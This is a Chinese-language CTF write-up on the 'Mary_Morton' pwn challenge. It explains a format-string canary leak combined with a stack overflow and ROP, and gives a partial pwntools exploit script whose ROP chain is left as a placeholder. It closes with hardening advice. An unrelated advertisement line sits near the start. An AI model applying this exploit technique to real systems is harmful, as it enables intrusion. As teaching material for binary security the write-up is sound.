1. 项目概述
"Mary_Morton"是CTF竞赛中一道经典的pwn入门题目,主要考察选手对栈溢出和格式化字符串漏洞的综合利用能力。这道题目出现在多个CTF训练平台(如攻防世界、BUUCTF等),是新手学习二进制安全的必经之路。题目提供了一个名为Mary_Morton的64位ELF可执行文件,运行后会显示一个简单的菜单界面,包含两个明显的漏洞点。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与初步分析
2.1 基础工具准备
分析这类pwn题目需要以下工具链:
- checksec:检查程序安全机制
- IDA Pro/Ghidra:反编译分析
- gdb-peda:动态调试
- pwntools:编写exp脚本
首先用checksec查看防护机制:
bash复制checksec Mary_Morton
典型输出会显示开启了NX和Canary保护,但可能没有PIE(地址随机化)。这对我们后续的漏洞利用策略有直接影响。
2.2 程序行为分析
运行程序会出现如下菜单:
code复制1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit
这明确提示了两个漏洞类型。选择选项1会进入栈溢出漏洞点,选项2则是格式化字符串漏洞。
3. 漏洞点深度解析
3.1 栈溢出漏洞分析
在IDA中查看选项1对应的函数,会发现类似以下代码:
c复制char buf[0x90];
read(0, buf, 0x100);
这明显存在栈溢出,允许写入0x100字节到只有0x90大小的缓冲区。但程序开启了Canary保护,直接覆盖返回地址会导致__stack_chk_fail触发。
3.2 格式化字符串漏洞分析
选项2对应的代码可能如下:
c复制char buf[0x90];
read(0, buf, 0x90);
printf(buf);
这里直接将用户输入作为printf的参数,导致格式化字符串漏洞。我们可以利用这个漏洞泄露内存信息,包括栈上的Canary值。
4. 漏洞利用技术详解
4.1 Canary绕过技术
现代Linux程序的栈保护机制使得传统的栈溢出利用变得困难。Canary是一个随机值,位于返回地址之前,在函数返回时会被校验。我们的利用思路是:
- 先用格式化字符串漏洞泄露Canary值
- 在栈溢出时保持Canary值不变
- 精确覆盖返回地址控制程序流
4.2 格式化字符串漏洞利用
通过发送如"%23$p"这样的格式化字符串,可以泄露出栈上的特定值。经过测试可以找到Canary在栈上的位置(通常是第23个参数)。
在pwntools中可以用以下方式获取:
python复制p.sendlineafter("3. Exit\n", "2")
p.sendline("%23$p")
canary = int(p.recvline(), 16)
4.3 ROP链构造
由于NX保护开启,我们需要构造ROP链来获取shell。典型步骤:
- 泄露libc地址(通过格式化字符串或GOT表)
- 计算system和/bin/sh地址
- 构造pop rdi; ret等gadget
- 组合成完整的ROP链
5. 完整Exploit编写
5.1 漏洞利用脚本框架
使用pwntools编写exp的基本结构:
python复制from pwn import *
context(arch='amd64', os='linux')
p = process('./Mary_Morton')
# p = remote('node4.buuoj.cn', 12345)
# 第一步:泄露Canary
p.sendlineafter("3. Exit\n", "2")
p.sendline("%23$p")
canary = int(p.recvline(), 16)
print(f"Canary: {hex(canary)}")
# 第二步:构造ROP链
rop = ROP('./Mary_Morton')
# ... 填充具体的ROP链构造代码
# 第三步:组合payload
payload = b'A'*0x88 + p64(canary) + b'B'*8 + rop.chain()
# 第四步:发送payload
p.sendlineafter("3. Exit\n", "1")
p.sendline(payload)
p.interactive()
5.2 关键点调试技巧
在开发exp时,有几个关键调试技巧:
- 在gdb中使用
canary命令查看Canary值 - 用
cyclic工具确定偏移量 - 通过
vmmap查看内存布局 - 使用
searchmem查找字符串地址
6. 防御与加固建议
6.1 开发者角度
- 永远不要使用不安全的函数如gets、scanf等
- 格式化字符串必须使用静态字符串
- 启用所有安全编译选项(-fstack-protector-all等)
- 进行严格的输入验证
6.2 系统管理员角度
- 保持系统更新以获取最新的安全补丁
- 使用ASLR等防护机制
- 限制程序的权限(通过capability或沙箱)
7. 延伸学习建议
这道题目包含了pwn入门的多个核心知识点,建议进一步学习:
- Linux程序的内存布局
- x86-64调用约定
- 更高级的ROP技术(如SROP)
- 堆利用基础
- 现代防护机制(如RELRO、SafeStack等)
在实际CTF比赛中,往往需要组合多种漏洞和技术才能完成利用。这道Mary_Morton题目很好地展示了如何将格式化字符串漏洞与栈溢出结合,绕过现代防护机制。
